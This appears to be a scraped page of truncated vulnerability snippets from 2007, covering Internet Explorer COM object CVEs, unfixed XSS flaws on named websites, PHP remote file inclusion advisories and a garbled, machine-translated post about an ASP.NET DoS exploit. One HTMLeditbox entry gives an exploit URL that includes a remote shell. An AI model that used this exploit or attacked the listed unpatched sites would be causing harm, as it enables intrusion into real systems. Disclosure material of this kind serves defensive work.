Microsoft Internet Explorer multiple security vulnerabilities

Multiple memory corruption on COM objects and HTML parsing, files rewrite...

Unfixed XSS vulnerability at www.cos109.com

Security researcher kusomiso.com, has submitted on 05/09/2007 a cross-site-scripting XSS vulnerability affecting www.cos109.com, which at the time of submission ranked 8952167 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/09/2007. It is...

Internet Explorer Multiple COM Objects Memory Corruption (MS07-027; CVE-2007-0942; CVE-2007-0944; CVE-2007-0945; CVE-2007-2221)

Microsoft Internet Explorer is the most widely used Internet browser. Multiple remote code execution vulnerabilities have been reported in Microsoft Internet Explorer. The vulnerabilities are due to several memory corruption errors in Microsoft Internet Explorer when instantiating the vulnerable...

Code injection

Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; and possibly 7 on Windows Vista does not properly "instantiate certain COM objects as ActiveX controls," which allows remote attackers to execute...

Arbitrary file deletion

Unspecified vulnerability in the mdsauth.dll COM object in Microsoft Windows Media Server in the Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; or 7 on Windows Vista allows remote attackers to...

CVE-2007-0942

Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; and possibly 7 on Windows Vista does not properly "instantiate certain COM objects as ActiveX controls," which allows remote attackers to execute...

CVE-2007-0942

Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; and possibly 7 on Windows Vista does not properly "instantiate certain COM objects as ActiveX controls," which allows remote attackers to execute...

CVE-2007-2221

CVE-2007-2221 corresponds to a vulnerability in the mdsauth.dll ActiveX control used by Microsoft Windows Media Services within Internet Explorer. The mdsauth.dll COM object can be instantiated via IE, enabling an attacker to overwrite arbitrary files on a vulnerable system, potentially allowing ...

CVE-2007-0942: Undefined Security Weakness

Microsoft Internet Explorer 5.01 SP4 on Windows 2000 SP4; 6 SP1 on Windows 2000 SP4; 6 and 7 on Windows XP SP2, or Windows Server 2003 SP1 or SP2; and possibly 7 on Windows Vista does not properly "instantiate certain COM objects as ActiveX controls," which allows remote attackers to execute...

HTMLeditbox & 2.2 >> RFI

+++++++ name & version :HTMLeditbox & 2.2 vendor: http://www.labs4.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,dNetGuru bug : editor.php @include$settingsappdir.'/inc/config.php'; exploit : http://victim/editor.php?settingsappdir=http://shell ++++++...

Unfixed XSS vulnerability at www.webindia123.com

Security researcher cyber, has submitted on 18/04/2007 a cross-site-scripting XSS vulnerability affecting www.webindia123.com, which at the time of submission ranked 11415 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/04/2007. It is...

Unfixed XSS vulnerability at support.catalyst2.com

Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting support.catalyst2.com, which at the time of submission ranked 41190 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is...

Unfixed XSS vulnerability at support.devil7.com

Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting support.devil7.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is currently...

bloofoxCMS 0.2.2 Remote File Include Vulnerabilitiy

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

CVE-2007-1992

Multiple PHP remote file inclusion vulnerabilities in the comzoom 2.5 beta 2 and earlier module for Mambo allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 EXIFMakernote.php or 2 EXIF.php in classes/iptc/...

Unfixed XSS vulnerability at www.buho21.com

Security researcher PAtO, has submitted on 04/12/2007 a cross-site-scripting XSS vulnerability affecting www.buho21.com, which at the time of submission ranked 31850 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/12/2007. It is currently...

Unfixed XSS vulnerability at unblock7.com

Security researcher koolkeith12345, has submitted on 04/12/2007 a cross-site-scripting XSS vulnerability affecting unblock7.com, which at the time of submission ranked 168195 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/12/2007. It is...

Fixed XSS vulnerability at csrf.0x000000.com

Security researcher Fugitif, has submitted on 04/11/2007 a cross-site-scripting XSS vulnerability affecting csrf.0x000000.com, which at the time of submission ranked 108714 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is...

Unfixed XSS vulnerability at www.wondernet24.com

Security researcher BackDoor, has submitted on 04/11/2007 a cross-site-scripting XSS vulnerability affecting www.wondernet24.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/11/2007. It is current...

Looked at the foreign cattle people how to tap Microsoft vulnerability-vulnerability warning-the black bar safety net

Ghost boy note: contains a w3wp-dos. c and a PDF document. I also added a download mirror to prevent the official link failure. Information source: 混世魔王 blog w3wp remote DoS due to improper reference of STA COM components in ASP.NET asp.net COM DOS EXP research Cattle below download address. And...